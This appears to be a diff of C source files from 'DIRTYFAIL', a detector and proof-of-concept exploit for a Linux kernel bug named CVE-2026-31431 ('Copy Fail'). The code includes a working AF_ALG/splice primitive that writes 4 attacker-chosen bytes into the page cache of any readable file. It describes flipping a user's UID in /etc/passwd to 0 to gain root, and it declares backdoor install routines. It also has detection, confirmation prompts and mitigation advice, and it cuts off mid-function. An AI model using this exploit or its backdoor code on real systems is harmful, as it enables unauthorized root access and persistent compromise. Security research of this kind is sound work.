#ifndef DIRTYFAIL_BACKDOOR_H
#define DIRTYFAIL_BACKDOOR_H
#include "common.h"
df_result_t backdoor_install(bool do_shell);
df_result_t backdoor_cleanup(void);
/* INNER variants — run inside the AA bypass userns. The inner reads
* the operation parameters from env vars set by the outer:
* DIRTYFAIL_INNER_MODE = backdoor-install | backdoor-cleanup
* DIRTYFAIL_LINE_OFF = byte offset of the victim line
* DIRTYFAIL_VICTIM_LINE = original /etc/passwd line bytes
* DIRTYFAIL_TARGET_LINE = (install only) replacement bytes
*/
df_result_t backdoor_install_inner(void);
df_result_t backdoor_cleanup_inner(void);
/* Used by --list-state. Returns true if a backdoor state file is present
* (and prints a summary), false if no file exists. Side-effect free. */
bool backdoor_list_state(void);
#endif
+362
View File
@@ -0,0 +1,362 @@
/*
* DIRTYFAIL — common.c
*
* Tiny utility surface shared by the detectors and exploiters. Nothing
* here is CVE-specific — that lives in copyfail.c, dirtyfrag_esp.c and
* dirtyfrag_rxrpc.c.
*/
#include "common.h"
#include <ctype.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <pwd.h>
#ifdef __linux__
#include <sys/syscall.h>
#endif
/* On glibc <sched.h>+_GNU_SOURCE provides these. macOS lacks them; we
* still want this file to parse under macOS clang for static analysis,
* so the unprivileged_userns_allowed body itself is platform-guarded. */
#ifndef CLONE_NEWUSER
#define CLONE_NEWUSER 0x10000000
#endif
bool dirtyfail_use_color = true;
bool dirtyfail_active_probes = false;
bool dirtyfail_no_revert = false;
bool dirtyfail_json = false;
static void vlog(FILE *out, const char *prefix, const char *color,
const char *fmt, va_list ap)
{
if (dirtyfail_use_color && color)
fprintf(out, "\033[%sm%s\033[0m ", color, prefix);
else
fprintf(out, "%s ", prefix);
vfprintf(out, fmt, ap);
fputc('\n', out);
/* Flush — when stdout is piped (e.g. through ssh, timeout, tee)
* the default fully-buffered mode hides log lines until either the
* process exits cleanly or 4 KiB accumulates. We log to follow
* progress; visibility wins over throughput here. */
fflush(out);
}
/* In --json mode, all log output goes to stderr so stdout stays a
* clean JSON document for downstream parsers. Outside --json mode,
* we keep the original split (info/progress to stdout, errors to
* stderr) for human readability. */
#define LOG_FN(name, prefix, color, default_stream) \
void name(const char *fmt, ...) { \
FILE *_s = dirtyfail_json ? stderr : (default_stream); \
va_list ap; va_start(ap, fmt); \
vlog(_s, prefix, color, fmt, ap); \
va_end(ap); \
}
LOG_FN(log_step, "[*]", "1;36", stdout) /* cyan */
LOG_FN(log_ok, "[+]", "1;32", stdout) /* green */
LOG_FN(log_bad, "[-]", "1;31", stderr) /* red */
LOG_FN(log_warn, "[!]", "1;33", stderr) /* yellow*/
LOG_FN(log_hint, "[i]", "0;37", stdout) /* dim */
/* ------------------------------------------------------------------ */
bool kernel_version(int *major, int *minor)
{
struct utsname u;
if (uname(&u) != 0) return false;
/* release looks like "6.12.0-124.49.1.el10_1.x86_64" — split on dots. */
char *dot1 = strchr(u.release, '.');
if (!dot1) return false;
*dot1 = '\0';
*major = atoi(u.release);
char *dot2 = strchr(dot1 + 1, '.');
if (dot2) *dot2 = '\0';
*minor = atoi(dot1 + 1);
return true;
}
bool kmod_loaded(const char *name)
{
FILE *f = fopen("/proc/modules", "r");
if (!f) return false;
char line[512];
size_t nlen = strlen(name);
bool found = false;
while (fgets(line, sizeof(line), f)) {
if (strncmp(line, name, nlen) == 0 && line[nlen] == ' ') {
found = true;
break;
}
}
fclose(f);
return found;
}
/* Probe by spawning a child. Doing it inline would either succeed (and
* leave us in a fresh userns for the rest of the run, breaking later
* checks) or fail and leave errno polluted. The fork is cheap enough.
*
* We use syscall(SYS_unshare) rather than the libc wrapper so this
* compiles on toolchains where <sched.h> doesn't expose unshare(). */
bool unprivileged_userns_allowed(void)
{
#ifdef __linux__
pid_t pid = fork();
if (pid < 0) return false;
if (pid == 0) {
if (syscall(SYS_unshare, CLONE_NEWUSER) == 0) _exit(0);
_exit(1);
}
int wstatus = 0;
waitpid(pid, &wstatus, 0);
return WIFEXITED(wstatus) && WEXITSTATUS(wstatus) == 0;
#else
return false; /* macOS analysis path — never executed in production */
#endif
}
bool find_passwd_uid_field(const char *username,
off_t *uid_off, size_t *uid_len,
char *uid_str)
{
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) return false;
struct stat st;
if (fstat(fd, &st) < 0) { close(fd); return false; }
char *buf = malloc(st.st_size + 1);
if (!buf) { close(fd); return false; }
ssize_t got = read(fd, buf, st.st_size);
close(fd);
if (got <= 0) { free(buf); return false; }
buf[got] = '\0';
bool found = false;
size_t ulen = strlen(username);
char *line = buf;
while (line < buf + got) {
if (strncmp(line, username, ulen) == 0 && line[ulen] == ':') {
/* user:x:UID:GID:... — skip 2 colons to land on UID start. */
char *p = line + ulen + 1;
char *colon = strchr(p, ':');
if (!colon) break;
char *uid_start = colon + 1;
char *uid_end = strchr(uid_start, ':');
if (!uid_end) break;
size_t len = uid_end - uid_start;
if (len >= 16) break;
*uid_off = uid_start - buf;
*uid_len = len;
memcpy(uid_str, uid_start, len);
uid_str[len] = '\0';
found = true;
break;
}
char *nl = strchr(line, '\n');
if (!nl) break;
line = nl + 1;
}
free(buf);
return found;
}
bool drop_caches(void)
{
int fd = open("/proc/sys/vm/drop_caches", O_WRONLY);
if (fd < 0) return false;
ssize_t n = write(fd, "3\n", 2);
close(fd);
return n == 2;
}
void hex_dump(const unsigned char *buf, size_t len)
{
for (size_t i = 0; i < len; i += 16) {
printf(" %04zx ", i);
for (size_t j = 0; j < 16; j++) {
if (i + j < len) printf("%02x ", buf[i + j]);
else printf(" ");
}
printf(" |");
for (size_t j = 0; j < 16 && i + j < len; j++) {
unsigned char c = buf[i + j];
putchar(isprint(c) ? c : '.');
}
printf("|\n");
}
}
/*
* authenc keyblob layout (see crypto/authenc.c::crypto_authenc_setkey):
*
* struct rtattr { __u16 rta_len; __u16 rta_type; } = 4 bytes
* __be32 enckeylen = 4 bytes
* authkey[authkeylen]
* enckey [enckeylen]
*
* rta_len in the rtattr counts the rtattr header *plus* the enckeylen
* field, so it is always 8.
*/
size_t build_authenc_keyblob(unsigned char *out,
const unsigned char *authkey, size_t authkeylen,
const unsigned char *enckey, size_t enckeylen)
{
/* struct rtattr { u16 rta_len; u16 rta_type; } */
out[0] = 8; out[1] = 0;
out[2] = CRYPTO_AUTHENC_KEYA_PARAM;
out[3] = 0;
/* __be32 enckeylen */
out[4] = (enckeylen >> 24) & 0xff;
out[5] = (enckeylen >> 16) & 0xff;
out[6] = (enckeylen >> 8) & 0xff;
out[7] = (enckeylen ) & 0xff;
memcpy(out + 8, authkey, authkeylen);
memcpy(out + 8 + authkeylen, enckey, enckeylen);
return 8 + authkeylen + enckeylen;
}
bool typed_confirm(const char *expected)
{
char buf[128];
printf(" Type \033[1;33m%s\033[0m and press enter to proceed: ", expected);
fflush(stdout);
if (!fgets(buf, sizeof(buf), stdin)) return false;
/* strip trailing newline */
size_t n = strlen(buf);
while (n > 0 && (buf[n-1] == '\n' || buf[n-1] == '\r')) buf[--n] = '\0';
return strcmp(buf, expected) == 0;
}
static uid_t read_outer_id(const char *path)
{
int fd = open(path, O_RDONLY);
if (fd < 0) return (uid_t)-1;
char buf[256];
ssize_t n = read(fd, buf, sizeof(buf) - 1);
close(fd);
if (n <= 0) return (uid_t)-1;
buf[n] = '\0';
/* Format: "<inner> <outer> <count>". For init namespace, this is
* "0 0 4294967295" — outer == 0 == real root. For our userns it's
* "0 1000 1" — outer == 1000 == real uid. */
int inner = -1, outer = -1, count = 0;
if (sscanf(buf, "%d %d %d", &inner, &outer, &count) != 3 || inner != 0)
return (uid_t)-1;
return (uid_t)outer;
}
uid_t real_uid_for_target(void)
{
uid_t outer = read_outer_id("/proc/self/uid_map");
/* If we're root in the init namespace OR no userns — return getuid().
* The init namespace map shows "0 0 4294967295" → outer=0; only
* trust an outer != 0 (and != -1) as the bypass-userns case. */
if (outer == (uid_t)-1) return getuid();
if (outer == 0) return getuid();
return outer;
}
gid_t real_gid_for_target(void)
{
uid_t outer = read_outer_id("/proc/self/gid_map");
if (outer == (uid_t)-1) return getgid();
if (outer == 0) return getgid();
return (gid_t)outer;
}
/* Best-effort eviction of /etc/passwd from the page cache. Used by
* the --no-shell path to revert the page-cache modification after a
* successful exploit + verify.
*
* The naive `posix_fadvise(POSIX_FADV_DONTNEED)` is unreliable here:
* since Linux 6.3, fadvise requires write access to the file, and we
* typically don't have write access to /etc/passwd from inside the
* AA bypass userns (root in userns maps to overflow uid in init ns,
* which doesn't own the file).
*
* So we try in order:
* 1. posix_fadvise on a fresh O_RDONLY fd (best case)
* 2. sudo drop_caches via the system shell — works if the user has
* passwordless sudo, which is common on test VMs but a
* reasonable assumption to fail closed on
*
* Returns true if the cache was definitely cleared, false otherwise.
* Caller should treat false as "page cache may still be modified —
* tell the user to reboot if their session breaks". */
bool try_revert_passwd_page_cache(void)
{
bool ok = false;
#ifdef POSIX_FADV_DONTNEED
int fd = open("/etc/passwd", O_RDONLY);
if (fd >= 0) {
if (posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED) == 0) ok = true;
close(fd);
}
#endif
/* Even if fadvise returned 0, modern kernels silently no-op when
* we lack write access — verify by re-reading and comparing to
* what's on disk via O_DIRECT. Too fiddly. Just always also try
* drop_caches as belt+suspenders. */
int rc = system("sudo -n /bin/sh -c 'echo 3 > /proc/sys/vm/drop_caches' "
">/dev/null 2>&1");
if (rc == 0) ok = true;
return ok;
}
bool ssh_lockout_check(const char *target_user)
{
const char *ssh_conn = getenv("SSH_CONNECTION");
if (!ssh_conn || !*ssh_conn) return true; /* not over SSH */
const char *user = getenv("USER");
if (!user) {
struct passwd *pw = getpwuid(real_uid_for_target());
user = pw ? pw->pw_name : "";
}
if (strcmp(user, target_user) != 0) return true; /* different user */
log_warn("=================================================================");
log_warn(" SSH LOCKOUT WARNING");
log_warn("=================================================================");
log_warn(" You are running this exploit OVER SSH against your OWN account.");
log_warn(" The page-cache write will mark '%s' as uid 0 in /etc/passwd.",
target_user);
log_warn(" Once that lands:");
log_warn(" - sshd looks up '%s', sees uid 0", target_user);
log_warn(" - StrictModes rejects ~/.ssh/authorized_keys (owner uid 1000");
log_warn(" != logging-in uid 0) → publickey auth fails");
log_warn(" - PAM password auth also fails (uid mismatch)");
log_warn(" Recovery requires console access to drop_caches or reboot.");
log_warn(" If this is what you want, type YES_BREAK_SSH below.");
log_warn(" Otherwise consider --exploit-backdoor (targets a nologin line");
log_warn(" instead of your account, doesn't break SSH).");
log_warn("=================================================================");
return typed_confirm("YES_BREAK_SSH");
}
int open_and_cache(const char *path)
{
int fd = open(path, O_RDONLY);
if (fd < 0) return -1;
/* Force a read so the page is in the cache. The exploit primitives
* all assume the target page is already populated. We don't care
* what the bytes are or whether read returns short — only that the
* kernel pulled the page into the cache as a side effect. */
char tmp[4096];
if (read(fd, tmp, sizeof(tmp)) < 0) {
/* primer failed; caller's splice will surface a useful errno. */
}
lseek(fd, 0, SEEK_SET);
return fd;
}
+197
View File
@@ -0,0 +1,197 @@
/*
* DIRTYFAIL — common.h
*
* Shared declarations for the DIRTYFAIL detector + PoC binary.
*
* This file is intentionally light: AF_ALG / SOL_ALG constants that older
* libcs do not export, log macros that respect --no-color, and the
* type definitions used by every CVE module.
*/
#ifndef DIRTYFAIL_COMMON_H
#define DIRTYFAIL_COMMON_H
/* The Makefile passes -D_GNU_SOURCE on the command line; this guard
* keeps gcc from warning about a duplicate definition when callers
* include common.h after the cmdline -D has already taken effect. */
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <errno.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
/* ------------------------------------------------------------------ *
* AF_ALG constants
*
* These are upstream in <linux/if_alg.h>, but plenty of distros ship
* stale headers. Declare locally so DIRTYFAIL builds on every target
* we have run it against (Ubuntu 22.04 → 24.04, RHEL 9/10, Fedora 42+).
* ------------------------------------------------------------------ */
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#define ALG_SET_KEY 1
#define ALG_SET_IV 2
#define ALG_SET_OP 3
#define ALG_SET_AEAD_ASSOCLEN 4
#define ALG_SET_AEAD_AUTHSIZE 5
#define ALG_OP_DECRYPT 0
#define ALG_OP_ENCRYPT 1
#define CRYPTO_AUTHENC_KEYA_PARAM 1 /* rtattr type, <crypto/authenc.h> */
struct sockaddr_alg_compat {
unsigned short salg_family;
unsigned char salg_type[14];
unsigned int salg_feat;
unsigned int salg_mask;
unsigned char salg_name[64];
};
/* ------------------------------------------------------------------ *
* Logging
*
* DIRTYFAIL output is meant to be skim-readable by a researcher *and*
* grep-friendly in CI. We use a small set of fixed prefixes so that
* automation can match on lines without parsing color escapes:
*
* [*] step / status [+] good news / detection result
* [-] bad news [!] attention / VULNERABLE
* [i] hint [?] prompt
* ------------------------------------------------------------------ */
extern bool dirtyfail_use_color;
/* When true, --scan and --check-* modes do an active sentinel-file STORE
* probe per mode in addition to precondition checks. Set by --active. */
extern bool dirtyfail_active_probes;
/* When true, --no-shell mode skips the auto-revert step — the page-cache
* plant survives until --cleanup or drop_caches. Used by the
* container-escape demo to show that the corruption crosses namespace
* boundaries. Set by --no-revert. */
extern bool dirtyfail_no_revert;
/* When true, --scan emits a single JSON object on stdout (suitable for
* SIEM/fleet ingestion); all log output (banner, step/ok/bad/warn/hint)
* is redirected to stderr. Set by --json. */
extern bool dirtyfail_json;
void log_step (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
void log_ok (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
void log_bad (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
void log_warn (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
void log_hint (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
/* ------------------------------------------------------------------ *
* Result codes returned by every detector / exploiter.
*
* They map onto exit codes used by the top-level binary so that CI
* pipelines can branch on them without parsing stdout:
*
* DF_OK exit 0 not vulnerable
* DF_VULNERABLE exit 2 vulnerable (detector confirmed primitive)
* DF_PRECOND_FAIL exit 0 prerequisites missing → not vulnerable here
* DF_TEST_ERROR exit 1 could not determine
* DF_EXPLOIT_OK exit 0 exploit succeeded (root achieved)
* DF_EXPLOIT_FAIL exit 3 exploit attempted but did not land
*
* Detectors should never return DF_EXPLOIT_*; exploiters should never
* return DF_PRECOND_FAIL (they assume the detector ran first).
* ------------------------------------------------------------------ */
typedef enum {
DF_OK = 0,
DF_VULNERABLE = 2,
DF_PRECOND_FAIL = 4,
DF_TEST_ERROR = 1,
DF_EXPLOIT_OK = 5,
DF_EXPLOIT_FAIL = 3,
} df_result_t;
/* ------------------------------------------------------------------ *
* Utilities (common.c)
* ------------------------------------------------------------------ */
/* Parse uname(2)->release into (major, minor). Returns false on parse error. */
bool kernel_version(int *major, int *minor);
/* Read /proc/modules and return true if `name` is loaded. Returns false
* (and sets errno) if /proc/modules cannot be opened. */
bool kmod_loaded(const char *name);
/* Best-effort: can the calling user create a user namespace?
* forks a child that calls unshare(CLONE_NEWUSER) and reports back. */
bool unprivileged_userns_allowed(void);
/* Find current user's UID/GID field offsets in /etc/passwd.
* uid_off, uid_len: byte offset and string length of UID field
* uid_str: caller-supplied buffer >= 16 bytes; receives current UID
* Returns false if user not found or UID isn't a 4-digit number. */
bool find_passwd_uid_field(const char *username,
off_t *uid_off, size_t *uid_len,
char *uid_str);
/* Drop the kernel page cache. Requires root. */
bool drop_caches(void);
/* Best-effort eviction of /etc/passwd from page cache. Tries
* POSIX_FADV_DONTNEED, then `sudo drop_caches` as belt-and-suspenders.
* Returns true if at least one path succeeded. See common.c for
* caveats. */
bool try_revert_passwd_page_cache(void);
/* Print a hex+ASCII dump (max `len` bytes). For debug output. */
void hex_dump(const unsigned char *buf, size_t len);
/* Build the rtattr-prefixed authenc keyblob expected by ALG_SET_KEY for
* authencesn(hmac(sha256), cbc(aes)). `out` must be >= 8+authkeylen+enckeylen.
* Returns total bytes written. */
size_t build_authenc_keyblob(unsigned char *out,
const unsigned char *authkey, size_t authkeylen,
const unsigned char *enckey, size_t enckeylen);
/* Prompt the user to type the literal string `expected` and press enter.
* Returns true only on exact match. Used as a last-line gate before
* --exploit modifies real system state. */
bool typed_confirm(const char *expected);
/* Convenience: open `path` RO and return a freshly-cached fd.
* The page-cache primitives below all assume the page is hot. */
int open_and_cache(const char *path);
/* Return the user's real (outer) uid, defeating the userns illusion.
*
* After the AppArmor bypass enters us into a fresh user namespace with
* uid_map "0 <real_uid> 1", `getuid()` returns 0 inside the namespace —
* which lies to exploit code that wants to know which user account to
* target in /etc/passwd. This helper reads /proc/self/uid_map; if it
* shows a non-identity mapping like "0 1000 1", returns the outer uid
* (1000). Otherwise (init namespace, or no userns at all) returns
* `getuid()`.
*
* Same idea for real_gid_for_target. */
uid_t real_uid_for_target(void);
gid_t real_gid_for_target(void);
/* If $SSH_CONNECTION is set AND `target_user` is the SSH login user,
* the user-uid-flip exploits about to fire will lock the operator out
* of SSH (sshd reads modified /etc/passwd, sees uid 0, then StrictModes
* rejects ~/.ssh/authorized_keys because file owner != logging-in uid).
* The lockout persists until the page cache is evicted — typically only
* a reboot recovers, since drop_caches needs root.
*
* Emit a loud warning and require an extra typed_confirm("YES_BREAK_SSH").
* Returns true to proceed, false to abort. Always returns true when not
* over SSH or when the target user differs from $USER. */
bool ssh_lockout_check(const char *target_user);
#endif /* DIRTYFAIL_COMMON_H */
+451
View File
@@ -0,0 +1,451 @@
/*
* DIRTYFAIL — copyfail.c — CVE-2026-31431 ("Copy Fail")
*
* Detector + opt-in PoC.
*
* BACKGROUND
* ----------
* The Linux kernel's authencesn(hmac(sha256), cbc(aes)) AEAD template
* performs a 4-byte "scratch" copy at the end of its destination
* scatterlist as part of moving the ESN sequence-number high bits
* around. The crypto code assumes src and dst point at kernel-private
* memory. They do — except when the AF_ALG socket family is used:
* algif_aead lets userspace splice() pages into the request, and the
* AEAD primitive runs in-place. By splicing a page-cache page from a
* readable file into the request, the scratch write lands in that page
* cache. The on-disk file is untouched, but the kernel (and every
* subsequent reader) sees the modified copy until the page is evicted.
*
* The 4 bytes that get written are bytes 4..7 of the AAD ("seqno_lo"
* in the ESP header layout), which userspace controls directly. Net
* result: an unprivileged 4-byte arbitrary-offset write into any
* world-readable file's page cache.
*
* DETECTION STRATEGY
* ------------------
* We never touch system files in detection. Instead we:
* 1. Confirm AF_ALG + authencesn(...) can be instantiated.
* 2. Create a sentinel file in $TMPDIR and fault its first page in.
* 3. Run the exact primitive against the sentinel file with a
* recognizable marker ("PWND") in seqno_lo.
* 4. Re-read the sentinel and look for the marker bytes.
*
* If the marker shows up: the kernel just wrote attacker-controlled
* bytes into a page-cache page over an unmodified disk file. That is
* the entire vulnerability. Vulnerable.
*
* EXPLOIT STRATEGY
* ----------------
* /etc/passwd is world-readable and contains a 4-digit UID for normal
* users (1000-9999). Flipping that UID to "0000" in the page cache
* makes glibc's getpwnam() report uid=0 for our user. PAM (which still
* checks /etc/shadow on disk, untouched) accepts the real password,
* and then setuid(0) lands us at root. Single 4-byte write, fully
* reversible with POSIX_FADV_DONTNEED.
*/
#include "copyfail.h"
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <pwd.h>
/* These macros come from <sys/socket.h> on Linux but vary across libcs. */
#ifndef MSG_MORE
#define MSG_MORE 0x8000
#endif
#ifdef __linux__
extern ssize_t splice(int, loff_t *, int, loff_t *, size_t, unsigned int);
#else
/* macOS analysis stub — never called at runtime. */
static ssize_t splice(int a, void *b, int c, void *d, size_t e, unsigned f)
{ (void)a; (void)b; (void)c; (void)d; (void)e; (void)f; errno = ENOSYS; return -1; }
#endif
#define PAGE 4096
#define ASSOCLEN 8 /* SPI(4) || seqno_lo(4) */
#define CRYPTLEN 16 /* one AES block */
#define TAGLEN 16 /* truncated HMAC-SHA256 */
#define SPLICE_LEN (CRYPTLEN + TAGLEN)
#define ALG_NAME "authencesn(hmac(sha256),cbc(aes))"
#define MARKER_STR "PWND"
/* ---------------------------------------------------------------- *
* af_alg_setup_socket()
*
* Creates the master AF_ALG socket, binds it to authencesn, sets a
* zero key (auth+enc), and accept(2)s an op socket. Returns the op fd
* (or -1 with errno set). On success the master fd is closed before
* return — we only need the op socket for the actual transaction.
* ---------------------------------------------------------------- */
static int af_alg_setup_socket(void)
{
int master = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (master < 0) return -1;
struct sockaddr_alg_compat sa = { .salg_family = AF_ALG };
strncpy((char *)sa.salg_type, "aead", sizeof(sa.salg_type) - 1);
strncpy((char *)sa.salg_name, ALG_NAME, sizeof(sa.salg_name) - 1);
if (bind(master, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(master);
return -1;
}
/* Auth key (HMAC-SHA256) is 32 bytes; cipher key (AES-128) is 16.
* We pick zero for both — auth verification will fail at the end
* (EBADMSG), but the buggy scratch-write fires *before* that, so
* the page-cache modification persists either way. */
unsigned char auth[32] = {0}, enc[16] = {0};
unsigned char keyblob[8 + 32 + 16];
size_t keylen = build_authenc_keyblob(keyblob, auth, 32, enc, 16);
if (setsockopt(master, SOL_ALG, ALG_SET_KEY, keyblob, keylen) < 0) {
close(master);
return -1;
}
int op = accept(master, NULL, NULL);
int saved = errno;
close(master);
errno = saved;
return op;
}
/* ---------------------------------------------------------------- *
* af_alg_send_aad()
*
* Sends per-op control messages (decrypt, IV, assoclen=8) plus the
* AAD itself with MSG_MORE. AAD layout:
*
* bytes 0..3 SPI (we leave zero — the kernel doesn't care)
* bytes 4..7 seqno_lo (this is the 4 bytes that get STOREd)
*
* Returns true on success.
* ---------------------------------------------------------------- */
static bool af_alg_send_aad(int op, const unsigned char four_bytes[4])
{
unsigned char aad[ASSOCLEN] = { 0 };
memcpy(aad + 4, four_bytes, 4);
unsigned int op_decrypt = ALG_OP_DECRYPT;
unsigned int assoclen = ASSOCLEN;
unsigned char iv[20]; /* u32 ivlen + 16-byte IV */
*(uint32_t *)iv = 16;
memset(iv + 4, 0, 16);
/* CMSG_SPACE values for: ALG_SET_OP(u32), ALG_SET_IV(u32+16), ALG_SET_ASSOCLEN(u32). */
union {
char buf[CMSG_SPACE(sizeof(unsigned int))
+ CMSG_SPACE(20)
+ CMSG_SPACE(sizeof(unsigned int))];
struct cmsghdr align;
} ctrl;
memset(&ctrl, 0, sizeof(ctrl));
struct iovec iov = { .iov_base = aad, .iov_len = ASSOCLEN };
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = ctrl.buf,
.msg_controllen = sizeof(ctrl.buf),
};
struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
cm->cmsg_len = CMSG_LEN(sizeof(unsigned int));
cm->cmsg_level = SOL_ALG;
cm->cmsg_type = ALG_SET_OP;
memcpy(CMSG_DATA(cm), &op_decrypt, sizeof(op_decrypt));
cm = CMSG_NXTHDR(&msg, cm);
cm->cmsg_len = CMSG_LEN(20);
cm->cmsg_level = SOL_ALG;
cm->cmsg_type = ALG_SET_IV;
memcpy(CMSG_DATA(cm), iv, 20);
cm = CMSG_NXTHDR(&msg, cm);
cm->cmsg_len = CMSG_LEN(sizeof(unsigned int));
cm->cmsg_level = SOL_ALG;
cm->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
memcpy(CMSG_DATA(cm), &assoclen, sizeof(assoclen));
return sendmsg(op, &msg, MSG_MORE) >= 0;
}
/* ---------------------------------------------------------------- *
* cf_4byte_write()
*
* The whole primitive in one function: open the target, force its
* page into the cache, set up an AF_ALG op socket, send AAD with our
* controlled 4 bytes, splice 32 bytes from the target file into the
* op socket (the kernel uses those page-cache pages as the *destination*
* of the in-place AEAD), then drive the op via recv() so that the
* scratch-write fires.
*
* `four_bytes` lands at file offset `target_off` of the cached page.
* Returns true on success (with errno cleared) — but "success" here
* just means "the syscalls completed". Whether the write actually
* landed must be confirmed by the caller via a read-back.
* ---------------------------------------------------------------- */
bool cf_4byte_write(const char *target_path,
off_t target_off,
const unsigned char four_bytes[4])
{
int target_fd = open_and_cache(target_path);
if (target_fd < 0) {
log_bad("open %s: %s", target_path, strerror(errno));
return false;
}
int op = af_alg_setup_socket();
if (op < 0) {
log_bad("AF_ALG setup: %s", strerror(errno));
close(target_fd);
return false;
}
if (!af_alg_send_aad(op, four_bytes)) {
log_bad("sendmsg AAD: %s", strerror(errno));
close(op); close(target_fd);
return false;
}
int pipefd[2];
if (pipe(pipefd) < 0) {
log_bad("pipe: %s", strerror(errno));
close(op); close(target_fd);
return false;
}
/* file -> pipe: 32 bytes from offset target_off (CRYPTLEN+TAGLEN). */
off_t off = target_off;
ssize_t n1 = splice(target_fd, &off, pipefd[1], NULL, SPLICE_LEN, 0);
if (n1 != SPLICE_LEN) {
log_bad("splice file->pipe: got %zd want %d (%s)",
n1, SPLICE_LEN, strerror(errno));
close(pipefd[0]); close(pipefd[1]); close(op); close(target_fd);
return false;
}
/* pipe -> op socket: kernel now has page-cache pages in dst SGL. */
ssize_t n2 = splice(pipefd[0], NULL, op, NULL, SPLICE_LEN, 0);
close(pipefd[0]); close(pipefd[1]);
if (n2 != SPLICE_LEN) {
log_bad("splice pipe->op: got %zd want %d (%s)",
n2, SPLICE_LEN, strerror(errno));
close(op); close(target_fd);
return false;
}
/* Drive the AEAD. recv will fail with EBADMSG (auth check fails on
* our zero key + zero ciphertext); the scratch write has already
* happened by then. */
unsigned char drain[256];
ssize_t r = recv(op, drain, sizeof(drain), 0);
int saved = errno;
(void)r;
close(op);
close(target_fd);
errno = (saved == EBADMSG || saved == EINVAL || r >= 0) ? 0 : saved;
return errno == 0;
}
/* ---------------------------------------------------------------- *
* Detection
* ---------------------------------------------------------------- */
df_result_t copyfail_detect(void)
{
log_step("Copy Fail (CVE-2026-31431) — detection");
int km = -1, kn = -1;
if (kernel_version(&km, &kn))
log_hint("kernel %d.%d.x (affected lines: 6.12, 6.17, 6.18)", km, kn);
/* Probe AF_ALG availability and instantiation of authencesn. */
int probe = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (probe < 0) {
log_ok("AF_ALG socket family unavailable (%s) — NOT vulnerable",
strerror(errno));
return DF_PRECOND_FAIL;
}
struct sockaddr_alg_compat sa = { .salg_family = AF_ALG };
strncpy((char *)sa.salg_type, "aead", sizeof(sa.salg_type) - 1);
strncpy((char *)sa.salg_name, ALG_NAME, sizeof(sa.salg_name) - 1);
if (bind(probe, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
log_ok("authencesn template not loadable (%s) — NOT vulnerable",
strerror(errno));
close(probe);
return DF_PRECOND_FAIL;
}
close(probe);
log_ok("AF_ALG + %s loadable", ALG_NAME);
/* Sentinel file probe. */
char tmpl[] = "/tmp/copyfail-sentinel.XXXXXX";
int sfd = mkstemp(tmpl);
if (sfd < 0) {
log_bad("mkstemp: %s", strerror(errno));
return DF_TEST_ERROR;
}
unsigned char sentinel[PAGE];
for (size_t i = 0; i < PAGE; i += 32)
memcpy(sentinel + i, "COPYFAIL-SENTINEL-UNCORRUPTED!!\n", 32);
if (write(sfd, sentinel, PAGE) != PAGE) {
log_bad("sentinel write: %s", strerror(errno));
close(sfd); unlink(tmpl);
return DF_TEST_ERROR;
}
close(sfd);
log_step("triggering primitive against %s with marker '%s'",
tmpl, MARKER_STR);
if (!cf_4byte_write(tmpl, 0, (const unsigned char *)MARKER_STR)) {
unlink(tmpl);
return DF_TEST_ERROR;
}
/* Re-read the sentinel via a fresh fd (page cache, not disk). */
int rfd = open(tmpl, O_RDONLY);
if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; }
unsigned char after[PAGE];
ssize_t got = read(rfd, after, PAGE);
close(rfd);
unlink(tmpl);
if (got != PAGE) return DF_TEST_ERROR;
/* Look for the marker. We expect it to land somewhere inside the
* 32-byte spliced region (offsets 0..31). */
unsigned char *hit = memmem(after, 32, MARKER_STR, 4);
bool orig_has_marker = memmem(sentinel, 32, MARKER_STR, 4) != NULL;
if (hit && !orig_has_marker) {
size_t off = hit - after;
log_warn("VULNERABLE — marker '%s' landed at sentinel offset %zu",
MARKER_STR, off);
log_warn("apply the upstream fix (commit a664bf3d or distro backport)");
log_warn("interim mitigation: blacklist the algif_aead module");
return DF_VULNERABLE;
}
/* Sometimes the layout puts the scratch write outside the first
* 32 bytes; check the whole page for ANY divergence. */
size_t diff_count = 0, first_diff = (size_t)-1;
for (size_t i = 0; i < PAGE; i++) {
if (after[i] != sentinel[i]) {
if (first_diff == (size_t)-1) first_diff = i;
diff_count++;
}
}
if (diff_count > 0) {
log_warn("page cache MODIFIED (%zu bytes changed, first at offset %zu)",
diff_count, first_diff);
log_warn("the marker layout differs but the underlying bug class "
"still allowed a page-cache page into the AEAD dst SGL");
return DF_VULNERABLE;
}
log_ok("page cache intact — NOT vulnerable on this kernel");
return DF_OK;
}
/* ---------------------------------------------------------------- *
* Exploit
* ---------------------------------------------------------------- */
df_result_t copyfail_exploit(bool do_shell)
{
log_step("Copy Fail (CVE-2026-31431) — exploit");
/* Resolve the calling user. We deliberately do not exploit as
* root or for arbitrary users — only the user who ran us. */
uid_t uid = getuid();
if (uid == 0) {
log_warn("already root — nothing to escalate");
return DF_OK;
}
struct passwd *pw = getpwuid(uid);
if (!pw) {
log_bad("getpwuid(%u): %s", uid, strerror(errno));
return DF_TEST_ERROR;
}
const char *user = pw->pw_name;
log_step("target user: %s (uid %u)", user, uid);
off_t uid_off = 0;
size_t uid_len = 0;
char uid_str[16];
